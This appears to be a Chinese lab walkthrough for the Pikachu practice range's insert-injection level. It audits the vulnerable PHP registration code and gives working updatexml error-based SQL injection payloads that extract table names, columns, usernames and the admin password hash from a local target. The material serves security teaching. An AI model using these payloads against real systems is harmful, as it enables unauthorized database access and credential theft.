pikachu靶場通關筆記22-1 SQL注入05-1-insert注入(報錯法)

目錄

一、SQL注入

二、insert注入

三、報錯型注入

四、updatexml函數

五、源碼審計

六、insert滲透實戰

1、滲透準備

2、獲取數據庫名database

3、獲取表名table

4、獲取列名column

5、獲取字段


本系列為通過《pikachu靶場通關筆記》的SQL注入關卡(共10關)滲透集合,通過對insert/update注入關卡源碼的代碼審計找到SQL安全風險的真實原因,講解insert/update注入的原理并進行滲透實踐,本文為SQL注入05之insert/update注入關卡的滲透部分。

一、SQL注入

SQL 注入是指攻擊者會在應用程序的輸入字段中插入惡意的 SQL 代碼,從而改變原有的 SQL 查詢邏輯。這種攻擊可能導致應用程序執行非預期的SQL語句操作,從而使攻擊者能夠非法訪問、篡改或刪除數據庫中的敏感信息,甚至可能獲取數據庫的控制權,進而威脅到整個系統的安全性和穩定性。SQL注入攻擊的常見場景如下所示,今天我們這篇文章講的就是第三部分數據插入注入。

  • 登錄表單:在許多網站的登錄界面,用戶需要輸入用戶名和密碼。如果后端代碼對用戶輸入的內容未進行嚴格驗證,直接將其拼接到 SQL 查詢語句中,攻擊者就可能通過構造特殊的輸入繞過正常的登錄驗證。
  • 搜索功能:當網站提供搜索功能時,用戶輸入的關鍵詞會被用于數據庫查詢。若處理不當,攻擊者可以利用輸入的關鍵詞進行 SQL 注入攻擊,獲取數據庫中的敏感信息。
  • 數據插入(insert注入)與更新(update注入):在涉及數據插入(如用戶注冊)或更新(如修改用戶信息)的操作中,如果對用戶輸入的數據沒有進行有效的過濾和驗證,攻擊者可以構造惡意輸入,修改數據庫中的數據或執行其他惡意操作。

二、insert注入

Insert 注入是 SQL 注入攻擊的一種類型,主要針對 SQL 語句中的INSERT操作。攻擊者利用應用程序在處理用戶輸入時的安全風險,通過構造惡意輸入,將非法的 SQL 代碼插入到INSERT語句中,從而改變原本的插入邏輯,實現非法數據的插入、獲取數據庫敏感信息甚至執行系統命令等目的。

三、報錯型注入

報錯型注入是 SQL 注入攻擊的一種常見方式,攻擊者利用數據庫錯誤信息來獲取數據庫中的敏感數據。

  • 原理:通過構造特殊的 SQL 語句,使數據庫在執行時產生錯誤,并從錯誤信息里提取有用的數據。不同數據庫系統的報錯信息和報錯注入方法有所差異。
  • 攻擊步驟:攻擊者先判斷注入點,然后構造會引發特定錯誤的 SQL 語句。例如,在 MySQL 中可利用?UPDATEXML?函數,它在輸入不符合 XML 格式時會報錯并返回部分輸入內容。攻擊者借此獲取數據庫名、表名和列名等信息。
  • 防范措施:避免在應用程序中顯示詳細的數據庫錯誤信息,防止攻擊者從中獲取線索。使用參數化查詢,將用戶輸入和 SQL 語句分離,讓數據庫自動處理輸入,防止惡意 SQL 代碼注入。對用戶輸入進行嚴格驗證和過濾,僅允許合法字符和格式。

四、updatexml函數

在 MySQL 數據庫里,UPDATEXML 是一個用于更新 XML 文檔內容的函數。其基本語法為 UPDATEXML(xml_document, xpath_expr, new_value),此函數的作用是在 xml_document 這個 XML 文檔里,依據 xpath_expr 所指定的 XPath 表達式定位節點,接著把這些節點的值更新成 new_value。若 xpath_expr 不符合 XPath 表達式的規范,函數就會產生錯誤并返回包含錯誤信息的結果。

在報錯注入中,攻擊者通常將 updatexml函數的第二個參數(XPath 表達式)設置為非法值,從而引發錯誤。通過這種方式,攻擊者可以從錯誤信息中提取敏感數據。假設存在一個簡單的 SQL 查詢語句 SELECT * FROM users WHERE id = $id,攻擊者可以構造如下注入語句:

1 AND updatexml(1,CONCAT(0x7e,(SELECT database()),0x7e),1)

在這個語句中,0x7e 代表波浪線 ~,(SELECT database()) 用于獲取當前數據庫的名稱。當數據庫執行這條語句時,由于 CONCAT(0x7e,(SELECT database()),0x7e) 并非有效的 XPath 表達式,updatexml函數就會報錯,錯誤信息中會包含當前數據庫的名稱。?

五、源碼審計

打開pikachu靶場的SQL注入-字符型關卡對應的源碼sqli_reg.php,很明顯SQL語句沒有對POST方法傳入的多個參數進行過濾,存在SQL注入風險,具體如下所示。

<?php
// 調用 connect 函數建立與數據庫的連接,并將連接對象賦值給變量 $link
$link = connect();// 初始化用于存儲 HTML 內容的變量,用于后續輸出提示信息
$html = '';// 檢查是否通過 POST 方法提交了表單
if (isset($_POST['submit'])) {// 檢查提交的表單中 username 和 password 字段是否不為空if ($_POST['username'] != null && $_POST['password'] != null) {// 注釋掉的代碼,原本的意圖是對 POST 數據進行轉義處理,防止 SQL 注入// $getdata = escape($link, $_POST); // 未對 POST 數據進行轉義處理,直接將其賦值給 $getdata 變量$getdata = $_POST;// 構造一個 SQL 插入語句,將用戶輸入的數據插入到 member 表中// 其中密碼使用 md5 函數進行加密存儲$query = "insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";// 調用 execute 函數執行構造好的 SQL 插入語句$result = execute($link, $query);// 檢查執行插入操作后受影響的行數是否為 1// mysqli_affected_rows 函數用于獲取上次 SQL 操作受影響的行數if (mysqli_affected_rows($link) == 1) {// 如果插入成功,將提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注冊成功,請返回<a href='sqli_login.php'>登錄</a></p>";} else {// 如果插入失敗,將提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注冊失敗,請檢查下數據庫是否還活著</p>";}} else {// 如果 username 或 password 字段為空,將提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>必填項不能為空哦</p>";}
}
?>

此代碼存在 SQL 注入安全風險,主要原因是對用戶輸入的數據未進行任何轉義或驗證處理。代碼中原本注釋掉了轉義函數調用 $getdata = escape($link, $_POST);,而直接使用 $getdata = $_POST; 將用戶輸入的數據拼接到 SQL 插入語句中。攻擊者可通過構造特殊的輸入內容來改變 SQL 語句的邏輯,從而實現惡意操作。如下所示傳入的參數中username, pw, sex, phonenum, email, address均為注入點。

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

構造閉合語句:liujiannan01' and updatexml(0, concat(0x7e,database()),1) or '?

六、insert滲透實戰

1、滲透準備

打開靶場SQL注入第五關insert型注入,點擊注冊后進入注冊頁面,頁面包括需要填寫的用戶名、密碼、性別、郵寄、郵箱和住址信息,這與代碼審計的分析一致,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php

bp開啟抓包在注冊信息中填寫內容,并點擊注冊,如下所示。?

burpsuite抓包,找到這個注冊報文,具體信息如下所示,POST方法傳參包括username, pw, sex, phonenum, email, address,這與源碼分析一致,由于使用POST方法傳參,故而我們使用bp進行滲透。

2、獲取數據庫名database

ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '

輸入ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '后點擊注冊,如下所示。

此時頁面提示報錯信息,爆出數據庫的名稱為“pikachu”,具體如下所示。??

此時burpsuite抓包如下所示,將報文發送到repeater,后續通過修改POST內容進行注入。

3、獲取表名table

對pikchu數據庫中表名進行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

滲透后獲取到數據庫pikachu表有4個以上的table表,但是第五個沒有展示全,只有一個x字符,其他前四個分別為httpinfo, member,message, users,如下所示。

之所以沒有展示全是因為update的報錯信息最多展示32個字符,出去第一個字符是報錯的波浪線以外,也就是說有效的字符只能顯示31個。接下來使用right函數顯示從右到左31個字符,具體注入命令如下所示 。

username=' or updatexml(1, concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),31)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

點擊發送后,展示從右開始31個字符,與上一個圖片對比可知最后一個table表為xssblind。

4、獲取列名column

對pikchu數據庫中users表中的列名進行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'
)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

滲透后獲取到數據庫users表有4個column列,分別為id,username,password,level,如下所示。?

5、獲取字段

對pikachu數據庫中users表的username列進行爆破,命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

滲透后獲取到數據庫users表的username字段如下所示,滲透成功。??

接下來獲取admin賬戶的密碼,注入命令如下所示但是沒有顯示完全,如下所示。?

username=' or updatexml(1,concat(0x7e,(select group_concat(password) from users where username='admin')),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

我們通過substr函數獲取admin賬戶的密碼的第32位開始的31個字符串,注入命令如下所示顯示了一個字符e,拼接后即可獲取到admin的密碼,e10adc3949ba59abbe56e057f20f883e,如下所示。??

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(password)) from users where username='admin'),32,31)),1)  or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/86477.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/86477.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/86477.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

k8s從入門到放棄之HPA控制器

k8s從入門到放棄之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一種用于自動擴展部署、副本集或復制控制器中Pod數量的機制。它可以根據觀察到的CPU利用率&#xff08;或其他自定義指標&#xff09;來調整這些對象的規模&#xff0c;從而幫助應用程序在負…

人機融合智能 | “人智交互”跨學科新領域

本文系統地提出基于“以人為中心AI(HCAI)”理念的人-人工智能交互(人智交互)這一跨學科新領域及框架,定義人智交互領域的理念、基本理論和關鍵問題、方法、開發流程和參與團隊等,闡述提出人智交互新領域的意義。然后,提出人智交互研究的三種新范式取向以及它們的意義。最后,總結…

ccf中學生計算機程序設計入門篇課后題p164頁test(1)-2 輸入一個數,統計這個數二進制中1的個數

include <iostream> using namespace std;int main() {int x;int n 0;// 輸入數據cin >> x;// 統計x二進制中1的個數for (n 0; x ! 0; x & x - 1) {n;}// 輸出結果cout << n << endl;return 0; }程序解釋&#xff1a; 輸入&#xff1a;程序從標…

無人機偵測與反制技術的進展與應用

國家電網無人機偵測與反制技術的進展與應用 引言 隨著無人機&#xff08;無人駕駛飛行器&#xff0c;UAV&#xff09;技術的快速發展&#xff0c;其在商業、娛樂和軍事領域的廣泛應用帶來了新的安全挑戰。特別是對于關鍵基礎設施如電力系統&#xff0c;無人機的“黑飛”&…

【Go語言基礎【18】】Map基礎

文章目錄 零、概述一、Map基礎1、Map的基本概念與特性2、Map的聲明與初始化3、Map的基本操作 二、Map的底層實現三、Map的注意事項 零、概述 Map與其他語言的對比 特性Go mapJava HashMapPython dict并發安全非線程安全&#xff0c;需手動加鎖非線程安全&#xff08;Concurre…

Qt客戶端技巧 -- 窗口美化 -- 窗口陰影

不解析&#xff0c;直接給示例 窗口設為不邊框且背景透明,好用來承載陰影 窗口一個Widget用來作真實窗口的作用&#xff0c;在真實窗口上加上陰影特效 上下兩層Widget方式 main.cpp #include <QtCore/qglobal.h> #if QT_VERSION > 0x050000 #include <QtWidget…

優選算法第十二講:隊列 + 寬搜 優先級隊列

優選算法第十二講&#xff1a;隊列 寬搜 && 優先級隊列 1.N叉樹的層序遍歷2.二叉樹的鋸齒型層序遍歷3.二叉樹最大寬度4.在每個樹行中找最大值5.優先級隊列 -- 最后一塊石頭的重量6.數據流中的第K大元素7.前K個高頻單詞8.數據流的中位數 1.N叉樹的層序遍歷 2.二叉樹的鋸…

華為OD最新機試真題-流水線-OD統一考試(B卷)

題目描述: 有個工廠有m條 流水線,來并行完成n個獨立的作業,該工廠設置了一個調度系統,在安排作業時,總是優先執行處理時間最短的作業。 現給定流水線個數m,需要完成的作業數n,每個作業的處理時間分別為t1,.2..n。請你編程計算處理完所有作業的耗時為多少? 當n>m時

區塊鏈技術概述

區塊鏈技術是一種去中心化、分布式賬本技術&#xff0c;通過密碼學、共識機制和智能合約等核心組件&#xff0c;實現數據不可篡改、透明可追溯的系統。 一、核心技術 1. 去中心化 特點&#xff1a;數據存儲在網絡中的多個節點&#xff08;計算機&#xff09;&#xff0c;而非…

項目css / js的兼容性next項目實踐處理

之前寫過一篇&#xff0c;但是沒有css的處理&#xff0c;但是那一篇有幾個文章蠻好的https://blog.csdn.net/SaRAku/article/details/144704916 css兼容性和js兼容性 1. 確定需要兼容的版本 先確定你們的兼容性版本&#xff0c;我們的兼容性以APP H5的兼容版本為最低兼容性&…

Vue3 + Vite 中使用 Lodash-es 的防抖 debounce 詳解

Vue3 Vite 中使用 Lodash-es 的防抖(debounce)詳解 在 Vue3 Vite 項目中&#xff0c;debounce 是 lodash-es 中最常用的功能之一&#xff0c;它可以幫助我們優化高頻事件的處理。下面我將詳細講解 debounce 的使用方法&#xff0c;并提供一個完整的示例。 Debounce 核心概念…

MySQL--慢查詢日志、日志分析工具mysqldumpslow

mysqldumpslow 常用參數&#xff1a; -s&#xff0c;是order的順序----- al 平均鎖定時間-----ar 平均返回記錄時間-----at 平均查詢時間&#xff08;默認&#xff09;-----c 計數-----l 鎖定時間-----r 返回記錄-----t 查詢時間-t&#xff0c;是top n的意思&#xff0c;即為返…

C++課設:實現圖書館借閱記錄系統(支持書籍管理、借閱功能、超期檢測提醒)

名人說&#xff1a;路漫漫其修遠兮&#xff0c;吾將上下而求索。—— 屈原《離騷》 創作者&#xff1a;Code_流蘇(CSDN)&#xff08;一個喜歡古詩詞和編程的Coder&#x1f60a;&#xff09; 專欄介紹&#xff1a;《編程項目實戰》 目錄 一、系統概述與設計思路1. 系統核心功能…

矩陣和向量范數的區別分析

文章目錄 1. 研究對象本質差異2. 運算和作用方式不同3. 應用需求不同4. 數學性質和理論體系不同5. 幾何直觀不同6. 范數定義區別7. 范數計算方式區別8. 范數幾何意義區別9. 范數相容性區別總結 1. 研究對象本質差異 向量本質&#xff1a;向量是具有大小和方向的一維有序數組&a…

HTMLCSS 學習總結

目錄 ???一、HTML核心概念?? ??三大前端技術作用?? ??HTML基礎結構?? 開發工具&#xff1a;VS Code 專業配置????安裝步驟??&#xff1a; ??二、HTML標簽大全&#xff08;含表格&#xff09;?? ??三、CSS核心技術?? 1. 三種引入方式對比 2.…

Java + Spring Boot + Mybatis 實現批量插入

在 Java 中使用 Spring Boot 和 MyBatis 實現批量插入可以通過以下步驟完成。這里提供兩種常用方法&#xff1a;使用 MyBatis 的 <foreach> 標簽和批處理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 標簽&#xff…

Oracle11g安裝包

Oracle 11g安裝包 適用于windows系統&#xff0c;64位 下載路徑 oracle 11g 安裝包

通過Cline使用智能體

文章目錄 1、VS Code配置2、Cline使用2.1 工作模式2.2 MCP服務2.3 Cline支持的服務 3、案例一&#xff1a;天氣查詢項目3.1 需求說明3.2 申請高德API Key3.3 實操&#xff1a;向Cline下達命令 4、案例二&#xff1a;雙城天氣對比項目4.1 需求說明4.2 實操 Cline是VS Code的插件…

「混合開發」H5與原生App交互流程方案全面解析

目錄 內嵌H5調用iOS內的方法 1. 背景 2. 解決方案 2.1 創建WebView 2.2 注冊原生方法 2.3 H5調用原生方法 3. 序列圖 H5 調用 Android&#xff1a;詳細指南 整體流程 每一步的詳細說明 步驟1&#xff1a;在Android項目中設置WebView 步驟2&#xff1a;定義JavaScri…

webpack打包vue項目

要在 Vue 項目中使用 Webpack 進行打包&#xff0c;通常有幾種不同的方式來設置你的項目。以下是基本步驟&#xff1a; 1. 使用 Vue CLI 創建項目&#xff08;推薦&#xff09; Vue CLI 是官方提供的一個腳手架工具&#xff0c;它內置了對 Webpack 的支持&#xff0c;并且簡化…